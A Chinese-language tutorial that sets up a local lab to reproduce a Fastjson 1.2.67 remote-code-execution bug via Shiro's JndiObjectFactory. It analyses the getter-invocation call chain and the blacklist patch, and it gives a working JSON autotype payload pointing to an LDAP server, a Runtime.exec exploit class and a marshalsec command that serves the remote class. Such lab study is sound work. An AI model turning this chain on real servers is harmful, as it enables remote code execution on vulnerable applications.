目前網上的資源整理不是針對入門玩家，都需要一定的java漏洞調試基礎，本文從一個簡單的FastJson 漏洞開始，搭建漏洞環境，分析漏洞成因，使用條件等。從入門者的角度看懂並復現漏洞觸發，擁有屬於自己的一套漏洞調試環境。
0x01 Fastjson簡介
Fastjson 是Alibaba的開源JSON解析庫，它可以解析 JSON 格式的字符串，支持將 Java Bean 序列化為 JSON 字符串，也可以從 JSON 字符串反序列化到 JavaBean。 https://github.com/alibaba/fastjson
0x02 環境搭建
JDK 版本：8u112fastjson: 1.2.67shiro: 1.5.1slf4j-nop: 1.7.25
0x1 添加依賴包
為了快速添加項目所需要的jar包，創建Maven項目如下
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>Fastjson1.2.66_RCE</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.67</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.25</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.25</version>
</dependency>
</dependencies>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<java.version>1.8</java.version>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
</project>
之后右鍵pom.xml 點擊下載source和document
0x2 選擇JDK版本
該漏洞選擇JDK 8u112
0x3 編寫漏洞代碼
在main文件夾中添加漏洞代碼,核心在於調用了fastjson.JSON的parseObject 函數
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x03 漏洞原理
0x1 FastJson 類解析
Fastjson接口簡單易用，廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化。
FastJson中的 parse() 和 parseObject()方法都可以用來將JSON字符串反序列化成Java對象，parseObject() 本質上也是調用 parse() 進行反序列化的。但是 parseObject() 會額外的將Java對象轉為 JSONObject對象，即 JSON.toJSON()。所以進行反序列化時的細節區別在於，parse() 會識別並調用目標類的 setter 方法及某些特定條件的 getter 方法，而 parseObject() 由於多執行了 JSON.toJSON(obj)，所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。
fastjson.java
package com.teddy.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class fastjson {
public String name;
public String age;
public fastjson() throws IOException {
}
public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}
public String getName() {
System.out.println("name getter called");
return this.name;
}
public void setAge(String test) {
System.out.println("age setter called");
this.age = test;
}
public String getAge(){
System.out.println("age getter called");
return this.age;
}
public static void main(String[] args) {
Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
System.out.println(obj);
System.out.println("------------");
Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
System.out.println(obj2);
}
}
result
name setter called
age setter called
com.teddy.fastjson.fastjson@66480dd7
------------
name setter called
age setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
由結果可以看出調用parseObject 函數會調用getattr方法。
0x2 漏洞調用鏈分析
調用棧分析
1. parseObject 對象類型轉換
這一步的操作是將obj對應的對象類型轉化為json格式，這勢必要方位getattr 對象方法，從而觸發漏洞。
2. 反射調用
通過invoke方法，調用getinstance方法
3. 觸發ldap
在JndiObjectFactory getinstance 中調用了this.lookup(resourceName)
0x3 JNDI 注入
Java Name Directory Interface，Java命名和目錄接口（JNDI）是一種Java API，類似於一個索引中心，它允許客戶端通過name發現和查找數據和對象。JNDI包括Naming Service和Directory Service，通過名稱來尋找數據和對象的API，也稱為一種綁定。JNDI可訪問的現有的目錄及服務有：JDBC、LDAP、RMI、DNS、NIS、CORBA。
其應用場景比如：動態加載數據庫配置文件，從而保持數據庫代碼不變動等。
注入方法：
JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
若lookup函數中的參數攻擊者可控，便可以指向攻擊者的服務器，即可實現JNDI注入實現任意代碼執行。
1 RMI
RMI（Remote Method Invocation，遠程方法調用）。遠程方法調用是分布式編程中的一個基本思想，實現遠程方法調用的技術有CORBA、WebService等（這兩種獨立於編程語言）。RMI則是專門為JAVA設計，依賴JRMP通訊協議。
2 LDAP
LDAP（Lightweight Directory Access Protocol ，輕型目錄訪問協議）是一種目錄服務協議，運行在TCP/IP堆棧之上。目錄服務是一個特殊的數據庫，用來保存描述性的、基於屬性的詳細信息，能進行查詢、瀏覽和搜索，以樹狀結構組織數據。LDAP以樹結構標識所以不能像表格一樣用SQL語句查詢，它“讀”性能很強，但“寫”性能較差，並且沒有事務處理、回滾等復雜功能，不適於存儲修改頻繁的數據。LDAP目錄和RMI注冊表的區別在於是前者是目錄服務，並允許分配存儲對象的屬性。
該漏洞簡單的將利用org.apache.shiro 包中的jndi功能訪問自己搭建的ldap服務，獲取並執行自己編譯的Exploit.class文件。
0x04 漏洞利用
0x1 編譯Java 利用代碼
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
命令行編譯class文件
/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java
0x2 開啟 LDAP 服務
使用marshalsec啟動一個ladp服務器 ，下載地址為https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit
0x3 開啟HTTP Web 服務
將編譯好的Exploit.class 放在web目錄下並開啟服務
0x05 漏洞補丁
這個鏈接梳理了fastjson hash對應的jar，可以方便的尋找已經被過濾的jar包https://github.com/LeadroyaL/fastjson-blacklist
該漏洞采用黑名單的方式進行修補，在1.2.68中把org.apache.shiro.jndi 給ban掉了
對應的具體代碼如下圖所示，在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函數中有對應處理
黑名單hash生成算法，大概思路是將每一位都異或進行異或疊加。
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
0x06 參考鏈接
本文項目鏈接 https://github.com/ctlyz123/fastjson_vul
https://www.jianshu.com/p/776c56fc3a80
https://github.com/LeadroyaL/fastjson-blacklist
http://xxlegend.com/2018/10/23/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
https://www.freebuf.com/column/189835.html
https://cloud.tencent.com/developer/article/1601977
https://paper.seebug.org/994/#0x01-fastjson
Java反序列漏洞
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001